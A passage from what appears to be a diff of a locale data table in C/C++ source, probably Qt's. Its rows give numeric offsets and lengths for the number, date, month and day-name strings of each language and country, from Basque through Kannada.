, 1000,21 , 1021,68 , 798,14 , 1000,21 , 1021,68 , 798,14 , 0,2 , 0,2 }, // Basque/Spain + { 15, 18, 46, 44, 59, 37, 2534, 45, 43, 101, 258,6 , 191,15 , 18,7 , 25,15 , 1950,90 , 1950,90 , 2040,33 , 1950,90 , 1950,90 , 2040,33 , 1089,37 , 1126,58 , 1184,18 , 1089,37 , 1126,58 , 1184,18 , 25,9 , 24,7 }, // Bengali/Bangladesh + { 15, 100, 46, 44, 59, 37, 2534, 45, 43, 101, 258,6 , 191,15 , 18,7 , 25,15 , 1950,90 , 1950,90 , 2040,33 , 1950,90 , 1950,90 , 2040,33 , 1089,37 , 1126,58 , 1184,18 , 1089,37 , 1126,58 , 1184,18 , 25,9 , 24,7 }, // Bengali/India + { 16, 25, 46, 44, 59, 37, 48, 45, 43, 101, 66,10 , 264,26 , 118,22 , 140,38 , 2073,75 , 2148,205 , 1483,27 , 2073,75 , 2148,205 , 134,27 , 1202,34 , 1236,79 , 798,14 , 1202,34 , 1236,79 , 798,14 , 0,2 , 0,2 }, // Bhutani/Bhutan + { 19, 74, 46, 44, 59, 37, 48, 45, 43, 101, 66,10 , 290,15 , 40,5 , 45,13 , 1483,27 , 1483,27 , 1483,27 , 134,27 , 134,27 , 134,27 , 798,14 , 798,14 , 798,14 , 798,14 , 798,14 , 798,14 , 0,2 , 0,2 }, // Breton/France + { 20, 33, 44, 160, 59, 37, 48, 45, 43, 101, 305,8 , 313,15 , 40,5 , 45,13 , 2353,59 , 2412,82 , 2494,24 , 2353,59 , 2412,82 , 2494,24 , 1315,21 , 1336,55 , 1391,14 , 1315,21 , 1336,55 , 1391,14 , 0,2 , 0,2 }, // Bulgarian/Bulgaria + { 21, 147, 46, 44, 4170, 37, 4160, 45, 43, 101, 206,8 , 290,15 , 40,5 , 45,13 , 2518,43 , 2561,88 , 2649,24 , 2518,43 , 2561,88 , 2649,24 , 1405,25 , 1430,54 , 1484,14 , 1405,25 , 1430,54 , 1484,14 , 0,2 , 0,2 }, // Burmese/Myanmar + { 22, 20, 44, 160, 59, 37, 48, 45, 43, 101, 328,6 , 136,14 , 178,5 , 183,13 , 2673,48 , 2721,99 , 2820,24 , 2673,48 , 2721,95 , 2816,24 , 1498,21 , 1519,56 , 1575,14 , 1498,21 , 1519,56 , 1575,14 , 34,10 , 31,13 }, // Byelorussian/Belarus + { 23, 36, 44, 46, 59, 37, 48, 45, 43, 101, 334,8 , 342,27 , 196,4 , 200,29 , 2844,27 , 2871,71 , 1483,27 , 2840,27 , 2867,71 , 134,27 , 1589,19 , 1608,76 , 798,14 , 1589,19 , 1608,76 , 798,14 , 44,5 , 44,5 }, // Cambodian/Cambodia + { 24, 197, 44, 46, 59, 37, 48, 45, 43, 101, 27,8 , 369,18 , 196,4 , 229,12 , 2942,60 , 3002,82 , 3084,24 , 2938,93 , 3031,115 , 3146,24 , 1684,21 , 1705,60 , 1765,14 , 1779,28 , 1807,60 , 1867,14 , 49,4 , 49,4 }, // Catalan/Spain + { 25, 44, 46, 44, 59, 37, 48, 45, 43, 101, 387,6 , 393,10 , 241,6 , 247,14 , 3108,38 , 3108,38 , 3146,39 , 3170,39 , 3170,39 , 3170,39 , 1881,21 , 1902,28 , 1930,14 , 1881,21 , 1902,28 , 1930,14 , 0,2 , 0,2 }, // Chinese/China + { 25, 97, 46, 44, 59, 37, 48, 45, 43, 101, 403,7 , 393,10 , 241,6 , 261,14 , 3108,38 , 3108,38 , 1483,27 , 3170,39 , 3170,39 , 134,27 , 1944,21 , 1902,28 , 1930,14 , 1944,21 , 1902,28 , 1930,14 , 0,2 , 0,2 }, // Chinese/HongKong + { 25, 126, 46, 44, 59, 37, 48, 45, 43, 101, 403,7 , 410,12 , 241,6 , 261,14 , 3108,38 , 3108,38 , 1483,27 , 3170,39 , 3170,39 , 134,27 , 1944,21 , 1902,28 , 1930,14 , 1944,21 , 1902,28 , 1930,14 , 0,2 , 0,2 }, // Chinese/Macau + { 25, 190, 46, 44, 59, 37, 48, 45, 43, 101, 27,8 , 393,10 , 275,7 , 247,14 , 3108,38 , 3108,38 , 3146,39 , 3170,39 , 3170,39 , 3170,39 , 1881,21 , 1902,28 , 1930,14 , 1881,21 , 1902,28 , 1930,14 , 0,2 , 0,2 }, // Chinese/Singapore + { 25, 208, 46, 44, 59, 37, 48, 45, 43, 101, 422,6 , 393,10 , 241,6 , 261,14 , 3108,38 , 3108,38 , 1483,27 , 3170,39 , 3170,39 , 134,27 , 1944,21 , 1902,28 , 1930,14 , 1944,21 , 1902,28 , 1930,14 , 0,2 , 0,2 }, // Chinese/Taiwan + { 27, 54, 44, 46, 59, 37, 48, 45, 43, 101, 428,13 , 441,16 , 40,5 , 45,13 , 3185,49 , 3234,94 , 3328,39 , 3209,49 , 3258,98 , 3356,39 , 1965,28 , 1993,58 , 2051,14 , 1965,28 , 1993,58 , 2051,14 , 0,2 , 0,2 }, // Croatian/Croatia + { 28, 57, 44, 160, 59, 37, 48, 45, 43, 101, 328,6 , 457,15 , 196,4 , 229,12 , 3328,39 , 3367,82 , 3449,24 , 134,27 , 3395,84 , 3479,24 , 2065,21 , 2086,49 , 2135,14 , 2065,21 , 2086,49 , 2135,14 , 53,4 , 53,4 }, // Czech/CzechRepublic + { 29, 58, 44, 46, 44, 37, 48, 45, 43, 101, 27,8 , 472,20 , 178,5 , 183,13 , 3473,48 , 3521,84 , 134,24 , 3503,59 , 3562,84 , 320,24 , 2149,28 , 2177,51 , 2228,14 , 2149,28 , 2177,51 , 2228,14 , 57,4 , 57,4 }, // Danish/Denmark + { 30, 151, 44, 46, 59, 37, 48, 45, 43, 101, 492,8 , 90,13 , 40,5 , 45,13 , 3605,48 , 3653,88 , 134,24 , 3646,59 , 3705,88 , 320,24 , 2242,21 , 2263,59 , 2322,14 , 2242,21 , 2263,59 , 2322,14 , 0,2 , 0,2 }, // Dutch/Netherlands + { 30, 21, 44, 46, 59, 37, 48, 45, 43, 101, 500,7 , 90,13 , 40,5 , 45,13 , 3605,48 , 3653,88 , 134,24 , 3646,59 , 3705,88 , 320,24 , 2242,21 , 2263,59 , 2322,14 , 2242,21 , 2263,59 , 2322,14 , 0,2 , 0,2 }, // Dutch/Belgium + { 31, 225, 46, 44, 59, 37, 48, 45, 43, 101, 507,6 , 35,15 , 18,7 , 25,15 , 0,48 , 48,86 , 134,24 , 0,48 , 48,86 , 320,24 , 0,28 , 28,57 , 85,14 , 0,28 , 28,57 , 85,14 , 0,2 , 0,2 }, // English/UnitedStates + { 31, 4, 46, 44, 59, 37, 48, 45, 43, 101, 507,6 , 35,15 , 18,7 , 25,15 , 0,48 , 48,86 , 134,24 , 0,48 , 48,86 , 320,24 , 0,28 , 28,57 , 85,14 , 0,28 , 28,57 , 85,14 , 0,2 , 0,2 }, // English/AmericanSamoa + { 31, 13, 46, 44, 59, 37, 48, 45, 43, 101, 500,7 , 136,14 , 18,7 , 25,15 , 0,48 , 48,86 , 134,24 , 0,48 , 48,86 , 320,24 , 0,28 , 28,57 , 85,14 , 0,28 , 28,57 , 85,14 , 0,2 , 0,2 }, // English/Australia + { 31, 21, 44, 46, 59, 37, 48, 45, 43, 101, 27,8 , 90,13 , 40,5 , 282,27 , 0,48 , 48,86 , 134,24 , 0,48 , 48,86 , 320,24 , 0,28 , 28,57 , 85,14 , 0,28 , 28,57 , 85,14 , 0,2 , 0,2 }, // English/Belgium + { 31, 22, 46, 44, 59, 37, 48, 45, 43, 101, 27,8 , 513,9 , 40,5 , 45,13 , 0,48 , 48,86 , 134,24 , 0,48 , 48,86 , 320,24 , 0,28 , 28,57 , 85,14 , 0,28 , 28,57 , 85,14 , 0,2 , 0,2 }, // English/Belize + { 31, 28, 46, 44, 59, 37, 48, 45, 43, 101, 27,8 , 76,14 , 18,7 , 25,15 , 0,48 , 48,86 , 134,24 , 0,48 , 48,86 , 320,24 , 0,28 , 28,57 , 85,14 , 0,28 , 28,57 , 85,14 , 0,2 , 0,2 }, // English/Botswana + { 31, 38, 46, 44, 59, 37, 48, 45, 43, 101, 103,8 , 522,14 , 18,7 , 25,15 , 0,48 , 48,86 , 134,24 , 0,48 , 48,86 , 320,24 , 0,28 , 28,57 , 85,14 , 0,28 , 28,57 , 85,14 , 0,2 , 0,2 }, // English/Canada + { 31, 89, 46, 44, 59, 37, 48, 45, 43, 101, 507,6 , 35,15 , 18,7 , 25,15 , 0,48 , 48,86 , 134,24 , 0,48 , 48,86 , 320,24 , 0,28 , 28,57 , 85,14 , 0,28 , 28,57 , 85,14 , 0,2 , 0,2 }, // English/Guam + { 31, 97, 46, 44, 59, 37, 48, 45, 43, 101, 258,6 , 191,15 , 18,7 , 25,15 , 0,48 , 48,86 , 134,24 , 0,48 , 48,86 , 320,24 , 0,28 , 28,57 , 85,14 , 0,28 , 28,57 , 85,14 , 0,2 , 0,2 }, // English/HongKong + { 31, 100, 46, 44, 59, 37, 48, 45, 43, 101, 27,8 , 90,13 , 18,7 , 25,15 , 0,48 , 48,86 , 134,24 , 0,48 , 48,86 , 320,24 , 0,28 , 28,57 , 85,14 , 0,28 , 28,57 , 85,14 , 0,2 , 0,2 }, // English/India + { 31, 104, 46, 44, 59, 37, 48, 45, 43, 101, 126,10 , 90,13 , 40,5 , 45,13 , 0,48 , 48,86 , 134,24 , 0,48 , 48,86 , 320,24 , 0,28 , 28,57 , 85,14 , 0,28 , 28,57 , 85,14 , 49,4 , 49,4 }, // English/Ireland + { 31, 107, 46, 44, 59, 37, 48, 45, 43, 101, 258,6 , 35,15 , 18,7 , 25,15 , 0,48 , 48,86 , 134,24 , 0,48 , 48,86 , 320,24 , 0,28 , 28,57 , 85,14 , 0,28 , 28,57 , 85,14 , 0,2 , 0,2 }, // English/Jamaica + { 31, 133, 46, 44, 59, 37, 48, 45, 43, 101, 126,10 , 136,14 , 40,5 , 45,13 , 0,48 , 48,86 , 134,24 , 0,48 , 48,86 , 320,24 , 0,28 , 28,57 , 85,14 , 0,28 , 28,57 , 85,14 , 0,2 , 0,2 }, // English/Malta + { 31, 134, 46, 44, 59, 37, 48, 45, 43, 101, 507,6 , 35,15 , 18,7 , 25,15 , 0,48 , 48,86 , 134,24 , 0,48 , 48,86 , 320,24 , 0,28 , 28,57 , 85,14 , 0,28 , 28,57 , 85,14 , 0,2 , 0,2 }, // English/MarshallIslands + { 31, 137, 46, 44, 59, 37, 48, 45, 43, 101, 507,6 , 35,15 , 18,7 , 25,15 , 0,48 , 48,86 , 134,24 , 0,48 , 48,86 , 320,24 , 0,28 , 28,57 , 85,14 , 0,28 , 28,57 , 85,14 , 0,2 , 0,2 }, // English/Mauritius + { 31, 148, 46, 44, 59, 37, 48, 45, 43, 101, 507,6 , 35,15 , 18,7 , 25,15 , 0,48 , 48,86 , 134,24 , 0,48 , 48,86 , 320,24 , 0,28 , 28,57 , 85,14 , 0,28 , 28,57 , 85,14 , 0,2 , 0,2 }, // English/Namibia + { 31, 154, 46, 44, 59, 37, 48, 45, 43, 101, 500,7 , 136,14 , 18,7 , 25,15 , 0,48 , 48,86 , 134,24 , 0,48 , 48,86 , 320,24 , 0,28 , 28,57 , 85,14 , 0,28 , 28,57 , 85,14 , 0,2 , 0,2 }, // English/NewZealand + { 31, 160, 46, 44, 59, 37, 48, 45, 43, 101, 507,6 , 35,15 , 18,7 , 25,15 , 0,48 , 48,86 , 134,24 , 0,48 , 48,86 , 320,24 , 0,28 , 28,57 , 85,14 , 0,28 , 28,57 , 85,14 , 0,2 , 0,2 }, // English/NorthernMarianaIslands + { 31, 163, 46, 44, 59, 37, 48, 45, 43, 101, 27,8 , 90,13 , 18,7 , 25,15 , 0,48 , 48,86 , 134,24 , 0,48 , 48,86 , 320,24 , 0,28 , 28,57 , 85,14 , 0,28 , 28,57 , 85,14 , 0,2 , 0,2 }, // English/Pakistan + { 31, 170, 46, 44, 59, 37, 48, 45, 43, 101, 507,6 , 35,15 , 18,7 , 25,15 , 0,48 , 48,86 , 134,24 , 0,48 , 48,86 , 320,24 , 0,28 , 28,57 , 85,14 , 0,28 , 28,57 , 85,14 , 0,2 , 0,2 }, // English/Philippines + { 31, 190, 46, 44, 59, 37, 48, 45, 43, 101, 258,6 , 35,15 , 18,7 , 25,15 , 0,48 , 48,86 , 134,24 , 0,48 , 48,86 , 320,24 , 0,28 , 28,57 , 85,14 , 0,28 , 28,57 , 85,14 , 0,2 , 0,2 }, // English/Singapore + { 31, 195, 44, 160, 59, 37, 48, 45, 43, 101, 536,10 , 76,14 , 18,7 , 25,15 , 0,48 , 48,86 , 134,24 , 0,48 , 48,86 , 320,24 , 0,28 , 28,57 , 85,14 , 0,28 , 28,57 , 85,14 , 0,2 , 0,2 }, // English/SouthAfrica + { 31, 215, 46, 44, 59, 37, 48, 45, 43, 101, 507,6 , 35,15 , 18,7 , 25,15 , 0,48 , 48,86 , 134,24 , 0,48 , 48,86 , 320,24 , 0,28 , 28,57 , 85,14 , 0,28 , 28,57 , 85,14 , 0,2 , 0,2 }, // English/TrinidadAndTobago + { 31, 224, 46, 44, 59, 37, 48, 45, 43, 101, 126,10 , 136,14 , 40,5 , 45,13 , 0,48 , 48,86 , 134,24 , 0,48 , 48,86 , 320,24 , 0,28 , 28,57 , 85,14 , 0,28 , 28,57 , 85,14 , 0,2 , 0,2 }, // English/UnitedKingdom + { 31, 226, 46, 44, 59, 37, 48, 45, 43, 101, 507,6 , 35,15 , 18,7 , 25,15 , 0,48 , 48,86 , 134,24 , 0,48 , 48,86 , 320,24 , 0,28 , 28,57 , 85,14 , 0,28 , 28,57 , 85,14 , 0,2 , 0,2 }, // English/UnitedStatesMinorOutlyingIslands + { 31, 234, 46, 44, 59, 37, 48, 45, 43, 101, 507,6 , 35,15 , 18,7 , 25,15 , 0,48 , 48,86 , 134,24 , 0,48 , 48,86 , 320,24 , 0,28 , 28,57 , 85,14 , 0,28 , 28,57 , 85,14 , 0,2 , 0,2 }, // English/USVirginIslands + { 31, 240, 46, 44, 59, 37, 48, 45, 43, 101, 334,8 , 76,14 , 18,7 , 25,15 , 0,48 , 48,86 , 134,24 , 0,48 , 48,86 , 320,24 , 0,28 , 28,57 , 85,14 , 0,28 , 28,57 , 85,14 , 0,2 , 0,2 }, // English/Zimbabwe + { 33, 68, 44, 160, 59, 37, 48, 45, 43, 101, 305,8 , 457,15 , 196,4 , 309,12 , 3741,59 , 3800,91 , 3891,24 , 3793,59 , 3852,91 , 3943,24 , 2336,14 , 2350,63 , 2336,14 , 2336,14 , 2350,63 , 2336,14 , 61,14 , 61,16 }, // Estonian/Estonia + { 34, 71, 44, 46, 59, 37, 48, 8722, 43, 101, 492,8 , 76,14 , 40,5 , 45,13 , 3915,48 , 3963,83 , 134,24 , 3967,48 , 4015,83 , 320,24 , 2413,28 , 2441,74 , 2515,14 , 2413,28 , 2441,74 , 2515,14 , 0,2 , 0,2 }, // Faroese/FaroeIslands + { 36, 73, 44, 160, 59, 37, 48, 45, 43, 101, 546,8 , 554,14 , 321,4 , 325,12 , 4046,69 , 4115,105 , 4220,24 , 4098,129 , 4098,129 , 4227,24 , 2529,21 , 2550,67 , 2617,14 , 2529,21 , 2631,81 , 2617,14 , 75,3 , 77,3 }, // Finnish/Finland + { 37, 74, 44, 160, 59, 37, 48, 45, 43, 101, 27,8 , 90,13 , 40,5 , 45,13 , 4244,63 , 4307,85 , 134,24 , 4251,63 , 4314,85 , 320,24 , 2712,35 , 2747,52 , 2799,14 , 2712,35 , 2747,52 , 2799,14 , 0,2 , 0,2 }, // French/France + { 37, 21, 44, 46, 59, 37, 48, 45, 43, 101, 500,7 , 90,13 , 40,5 , 337,26 , 4244,63 , 4307,85 , 134,24 , 4251,63 , 4314,85 , 320,24 , 2712,35 , 2747,52 , 2799,14 , 2712,35 , 2747,52 , 2799,14 , 0,2 , 0,2 }, // French/Belgium + { 37, 37, 44, 160, 59, 37, 48, 45, 43, 101, 27,8 , 90,13 , 40,5 , 45,13 , 4244,63 , 4307,85 , 134,24 , 4251,63 , 4314,85 , 320,24 , 2712,35 , 2747,52 , 2799,14 , 2712,35 , 2747,52 , 2799,14 , 0,2 , 0,2 }, // French/Cameroon + { 37, 38, 44, 160, 59, 37, 48, 45, 43, 101, 103,8 , 90,13 , 40,5 , 282,27 , 4244,63 , 4307,85 , 134,24 , 4251,63 , 4314,85 , 320,24 , 2712,35 , 2747,52 , 2799,14 , 2712,35 , 2747,52 , 2799,14 , 0,2 , 0,2 }, // French/Canada + { 37, 41, 44, 160, 59, 37, 48, 45, 43, 101, 27,8 , 90,13 , 40,5 , 45,13 , 4244,63 , 4307,85 , 134,24 , 4251,63 , 4314,85 , 320,24 , 2712,35 , 2747,52 , 2799,14 , 2712,35 , 2747,52 , 2799,14 , 0,2 , 0,2 }, // French/CentralAfricanRepublic + { 37, 53, 44, 160, 59, 37, 48, 45, 43, 101, 27,8 , 90,13 , 40,5 , 45,13 , 4244,63 , 4307,85 , 134,24 , 4251,63 , 4314,85 , 320,24 , 2712,35 , 2747,52 , 2799,14 , 2712,35 , 2747,52 , 2799,14 , 0,2 , 0,2 }, // French/IvoryCoast + { 37, 88, 44, 160, 59, 37, 48, 45, 43, 101, 27,8 , 90,13 , 40,5 , 45,13 , 4244,63 , 4307,85 , 134,24 , 4251,63 , 4314,85 , 320,24 , 2712,35 , 2747,52 , 2799,14 , 2712,35 , 2747,52 , 2799,14 , 0,2 , 0,2 }, // French/Guadeloupe + { 37, 91, 44, 160, 59, 37, 48, 45, 43, 101, 27,8 , 90,13 , 40,5 , 45,13 , 4244,63 , 4307,85 , 134,24 , 4251,63 , 4314,85 , 320,24 , 2712,35 , 2747,52 , 2799,14 , 2712,35 , 2747,52 , 2799,14 , 0,2 , 0,2 }, // French/Guinea + { 37, 125, 44, 46, 59, 37, 48, 45, 43, 101, 27,8 , 90,13 , 40,5 , 45,13 , 4244,63 , 4307,85 , 134,24 , 4251,63 , 4314,85 , 320,24 , 2712,35 , 2747,52 , 2799,14 , 2712,35 , 2747,52 , 2799,14 , 0,2 , 0,2 }, // French/Luxembourg + { 37, 128, 44, 160, 59, 37, 48, 45, 43, 101, 27,8 , 90,13 , 40,5 , 45,13 , 4244,63 , 4307,85 , 134,24 , 4251,63 , 4314,85 , 320,24 , 2712,35 , 2747,52 , 2799,14 , 2712,35 , 2747,52 , 2799,14 , 0,2 , 0,2 }, // French/Madagascar + { 37, 132, 44, 160, 59, 37, 48, 45, 43, 101, 27,8 , 90,13 , 40,5 , 45,13 , 4244,63 , 4307,85 , 134,24 , 4251,63 , 4314,85 , 320,24 , 2712,35 , 2747,52 , 2799,14 , 2712,35 , 2747,52 , 2799,14 , 0,2 , 0,2 }, // French/Mali + { 37, 135, 44, 160, 59, 37, 48, 45, 43, 101, 27,8 , 90,13 , 40,5 , 45,13 , 4244,63 , 4307,85 , 134,24 , 4251,63 , 4314,85 , 320,24 , 2712,35 , 2747,52 , 2799,14 , 2712,35 , 2747,52 , 2799,14 , 0,2 , 0,2 }, // French/Martinique + { 37, 142, 44, 160, 59, 37, 48, 45, 43, 101, 27,8 , 90,13 , 40,5 , 45,13 , 4244,63 , 4307,85 , 134,24 , 4251,63 , 4314,85 , 320,24 , 2712,35 , 2747,52 , 2799,14 , 2712,35 , 2747,52 , 2799,14 , 0,2 , 0,2 }, // French/Monaco + { 37, 156, 44, 160, 59, 37, 48, 45, 43, 101, 27,8 , 90,13 , 40,5 , 45,13 , 4244,63 , 4307,85 , 134,24 , 4251,63 , 4314,85 , 320,24 , 2712,35 , 2747,52 , 2799,14 , 2712,35 , 2747,52 , 2799,14 , 0,2 , 0,2 }, // French/Niger + { 37, 176, 44, 160, 59, 37, 48, 45, 43, 101, 27,8 , 90,13 , 40,5 , 45,13 , 4244,63 , 4307,85 , 134,24 , 4251,63 , 4314,85 , 320,24 , 2712,35 , 2747,52 , 2799,14 , 2712,35 , 2747,52 , 2799,14 , 0,2 , 0,2 }, // French/Reunion + { 37, 187, 44, 160, 59, 37, 48, 45, 43, 101, 27,8 , 90,13 , 40,5 , 45,13 , 4244,63 , 4307,85 , 134,24 , 4251,63 , 4314,85 , 320,24 , 2712,35 , 2747,52 , 2799,14 , 2712,35 , 2747,52 , 2799,14 , 0,2 , 0,2 }, // French/Senegal + { 37, 206, 46, 39, 59, 37, 48, 45, 43, 101, 305,8 , 136,14 , 40,5 , 363,17 , 4244,63 , 4307,85 , 134,24 , 4251,63 , 4314,85 , 320,24 , 2712,35 , 2747,52 , 2799,14 , 2712,35 , 2747,52 , 2799,14 , 0,2 , 0,2 }, // French/Switzerland + { 37, 244, 44, 160, 59, 37, 48, 45, 43, 101, 27,8 , 90,13 , 40,5 , 45,13 , 4244,63 , 4307,85 , 134,24 , 4251,63 , 4314,85 , 320,24 , 2712,35 , 2747,52 , 2799,14 , 2712,35 , 2747,52 , 2799,14 , 0,2 , 0,2 }, // French/Saint Barthelemy + { 37, 245, 44, 160, 59, 37, 48, 45, 43, 101, 27,8 , 90,13 , 40,5 , 45,13 , 4244,63 , 4307,85 , 134,24 , 4251,63 , 4314,85 , 320,24 , 2712,35 , 2747,52 , 2799,14 , 2712,35 , 2747,52 , 2799,14 , 0,2 , 0,2 }, // French/Saint Martin + { 40, 197, 44, 46, 59, 37, 48, 45, 43, 101, 27,8 , 76,14 , 40,5 , 45,13 , 4392,48 , 4440,87 , 4527,24 , 4399,48 , 4447,87 , 4534,24 , 2813,28 , 2841,49 , 2890,14 , 2813,28 , 2841,49 , 2890,14 , 0,2 , 0,2 }, // Galician/Spain + { 41, 81, 44, 46, 59, 37, 48, 45, 43, 101, 206,8 , 290,15 , 40,5 , 45,13 , 4551,48 , 4599,99 , 4698,24 , 4558,48 , 4606,99 , 4705,24 , 2904,28 , 2932,62 , 2994,14 , 2904,28 , 2932,62 , 2994,14 , 0,2 , 0,2 }, // Georgian/Georgia + { 42, 82, 44, 46, 59, 37, 48, 45, 43, 101, 305,8 , 457,15 , 40,5 , 45,13 , 4722,52 , 4774,83 , 134,24 , 4729,48 , 4777,83 , 320,24 , 3008,21 , 3029,60 , 3089,14 , 3103,28 , 3029,60 , 3089,14 , 0,2 , 0,2 }, // German/Germany + { 42, 14, 44, 46, 59, 37, 48, 45, 43, 101, 305,8 , 568,16 , 40,5 , 45,13 , 4722,52 , 4857,83 , 134,24 , 4860,48 , 4908,83 , 320,24 , 3008,21 , 3029,60 , 3089,14 , 3103,28 , 3029,60 , 3089,14 , 0,2 , 0,2 }, // German/Austria + { 42, 21, 44, 46, 59, 37, 48, 45, 43, 101, 500,7 , 90,13 , 40,5 , 282,27 , 4722,52 , 4774,83 , 134,24 , 4729,48 , 4777,83 , 320,24 , 3008,21 , 3029,60 , 3089,14 , 3131,28 , 3029,60 , 3089,14 , 0,2 , 0,2 }, // German/Belgium + { 42, 123, 46, 39, 59, 37, 48, 45, 43, 101, 305,8 , 457,15 , 40,5 , 45,13 , 4722,52 , 4774,83 , 134,24 , 4729,48 , 4777,83 , 320,24 , 3008,21 , 3029,60 , 3089,14 , 3103,28 , 3029,60 , 3089,14 , 0,2 , 0,2 }, // German/Liechtenstein + { 42, 125, 44, 46, 59, 37, 48, 45, 43, 101, 305,8 , 457,15 , 40,5 , 45,13 , 4722,52 , 4774,83 , 134,24 , 4729,48 , 4777,83 , 320,24 , 3008,21 , 3029,60 , 3089,14 , 3103,28 , 3029,60 , 3089,14 , 0,2 , 0,2 }, // German/Luxembourg + { 42, 206, 46, 39, 59, 37, 48, 45, 43, 101, 305,8 , 457,15 , 40,5 , 45,13 , 4722,52 , 4774,83 , 134,24 , 4729,48 , 4777,83 , 320,24 , 3008,21 , 3029,60 , 3089,14 , 3103,28 , 3029,60 , 3089,14 , 0,2 , 0,2 }, // German/Switzerland + { 43, 85, 44, 46, 44, 37, 48, 45, 43, 101, 258,6 , 136,14 , 18,7 , 25,15 , 4940,50 , 4990,115 , 5105,24 , 4991,50 , 5041,115 , 5156,24 , 3159,28 , 3187,55 , 3242,14 , 3159,28 , 3187,55 , 3242,14 , 78,4 , 80,4 }, // Greek/Greece + { 43, 56, 44, 46, 44, 37, 48, 45, 43, 101, 258,6 , 136,14 , 18,7 , 25,15 , 4940,50 , 4990,115 , 5105,24 , 4991,50 , 5041,115 , 5156,24 , 3159,28 , 3187,55 , 3242,14 , 3159,28 , 3187,55 , 3242,14 , 78,4 , 80,4 }, // Greek/Cyprus + { 44, 86, 44, 46, 59, 37, 48, 8722, 43, 101, 66,10 , 76,14 , 18,7 , 25,15 , 3473,48 , 5129,96 , 134,24 , 5180,48 , 5228,96 , 320,24 , 3256,28 , 3284,98 , 3382,14 , 3256,28 , 3284,98 , 3382,14 , 0,2 , 0,2 }, // Greenlandic/Greenland + { 46, 100, 46, 44, 59, 37, 48, 45, 43, 101, 584,7 , 191,15 , 380,8 , 388,16 , 5225,67 , 5292,87 , 5379,31 , 5324,67 , 5391,87 , 5478,31 , 3396,32 , 3428,53 , 3481,19 , 3396,32 , 3428,53 , 3481,19 , 82,14 , 84,14 }, // Gujarati/India + { 47, 83, 46, 44, 59, 37, 48, 45, 43, 101, 258,6 , 191,15 , 40,5 , 45,13 , 5410,48 , 5458,85 , 5543,24 , 5509,48 , 5557,85 , 5642,24 , 3500,21 , 3521,52 , 3573,14 , 3500,21 , 3521,52 , 3573,14 , 0,2 , 0,2 }, // Hausa/Ghana + { 47, 156, 46, 44, 59, 37, 48, 45, 43, 101, 258,6 , 191,15 , 40,5 , 45,13 , 5410,48 , 5458,85 , 5543,24 , 5509,48 , 5557,85 , 5642,24 , 3500,21 , 3521,52 , 3573,14 , 3500,21 , 3521,52 , 3573,14 , 0,2 , 0,2 }, // Hausa/Niger + { 47, 157, 46, 44, 59, 37, 48, 45, 43, 101, 258,6 , 191,15 , 40,5 , 45,13 , 5410,48 , 5458,85 , 5543,24 , 5509,48 , 5557,85 , 5642,24 , 3500,21 , 3521,52 , 3573,14 , 3500,21 , 3521,52 , 3573,14 , 0,2 , 0,2 }, // Hausa/Nigeria + { 47, 201, 46, 44, 59, 37, 48, 45, 43, 101, 258,6 , 191,15 , 40,5 , 45,13 , 5567,55 , 5622,99 , 5543,24 , 5666,55 , 5721,99 , 5642,24 , 3587,31 , 3618,57 , 3573,14 , 3587,31 , 3618,57 , 3573,14 , 0,2 , 0,2 }, // Hausa/Sudan + { 48, 105, 46, 44, 59, 37, 48, 45, 43, 101, 27,8 , 591,15 , 40,5 , 45,13 , 5721,58 , 5779,72 , 1483,27 , 5820,48 , 5868,72 , 134,27 , 3675,46 , 3721,65 , 3786,14 , 3675,46 , 3721,65 , 3786,14 , 96,6 , 98,5 }, // Hebrew/Israel + { 49, 100, 46, 44, 59, 37, 2406, 45, 43, 101, 606,6 , 136,14 , 18,7 , 25,15 , 5851,75 , 5851,75 , 5926,30 , 5940,75 , 5940,75 , 6015,30 , 3800,38 , 3838,57 , 3895,19 , 3800,38 , 3838,57 , 3895,19 , 102,9 , 103,7 }, // Hindi/India + { 50, 98, 44, 160, 59, 37, 48, 45, 43, 101, 612,11 , 623,16 , 196,4 , 229,12 , 5956,64 , 6020,98 , 6118,25 , 6045,64 , 6109,98 , 6207,25 , 3914,19 , 3933,52 , 3985,17 , 3914,19 , 3933,52 , 3985,17 , 111,3 , 110,3 }, // Hungarian/Hungary + { 51, 99, 44, 46, 59, 37, 48, 8722, 43, 101, 546,8 , 457,15 , 40,5 , 45,13 , 6143,48 , 6191,82 , 6273,24 , 6232,48 , 6280,82 , 6362,24 , 4002,28 , 4030,81 , 4111,14 , 4002,28 , 4030,81 , 4125,14 , 114,4 , 113,4 }, // Icelandic/Iceland + { 52, 101, 44, 46, 59, 37, 48, 45, 43, 101, 27,8 , 639,18 , 178,5 , 325,12 , 6297,48 , 6345,87 , 134,24 , 6386,48 , 6434,87 , 320,24 , 4139,28 , 4167,43 , 4210,14 , 4139,28 , 4167,43 , 4210,14 , 0,2 , 0,2 }, // Indonesian/Indonesia + { 57, 104, 46, 44, 59, 37, 48, 45, 43, 101, 126,10 , 90,13 , 40,5 , 45,13 , 6432,62 , 6494,107 , 6601,24 , 6521,62 , 6583,107 , 6690,24 , 4224,37 , 4261,75 , 4336,14 , 4224,37 , 4261,75 , 4336,14 , 49,4 , 49,4 }, // Irish/Ireland + { 58, 106, 44, 46, 59, 37, 48, 45, 43, 101, 27,8 , 90,13 , 40,5 , 45,13 , 6625,48 , 6673,94 , 6767,24 , 6714,48 , 6762,94 , 6856,24 , 4350,28 , 4378,57 , 4435,14 , 4350,28 , 4449,57 , 4435,14 , 118,2 , 117,2 }, // Italian/Italy + { 58, 206, 46, 39, 59, 37, 48, 45, 43, 101, 305,8 , 136,14 , 40,5 , 363,17 , 6625,48 , 6673,94 , 6767,24 , 6714,48 , 6762,94 , 6856,24 , 4350,28 , 4378,57 , 4435,14 , 4350,28 , 4449,57 , 4435,14 , 118,2 , 117,2 }, // Italian/Switzerland + { 59, 108, 46, 44, 59, 37, 48, 45, 43, 101, 206,8 , 393,10 , 196,4 , 404,13 , 3146,39 , 3146,39 , 1483,27 , 3170,39 , 3170,39 , 134,27 , 4506,14 , 4520,28 , 4506,14 , 4506,14 , 4520,28 , 4506,14 , 120,2 , 119,2 }, // Japanese/Japan + { 61, 100, 46, 44, 59, 37, 3302, 45, 43, 101, 606,6 , 90,13 , 380,8 , 388,16 , 6791,86 , 6791,86 , 6877,31 , 6880,86 , 6880,86 , 6966,31 , 4548,28 , 4576,53 , 4629,19 , 4548,28 , 4576,53 , 4629,19 , 122,2 , 121,2 }, // Kannada/India + { 63, 110, 44, 160, 59, 37, 48, 45, 43, 101, 305,8 , 657,19 , 40,5 , 45,13 , 6908,61 , 6969,83 , 1483,27 , 6997,61 , 7058,83 , 134,27 , 4648,28 , 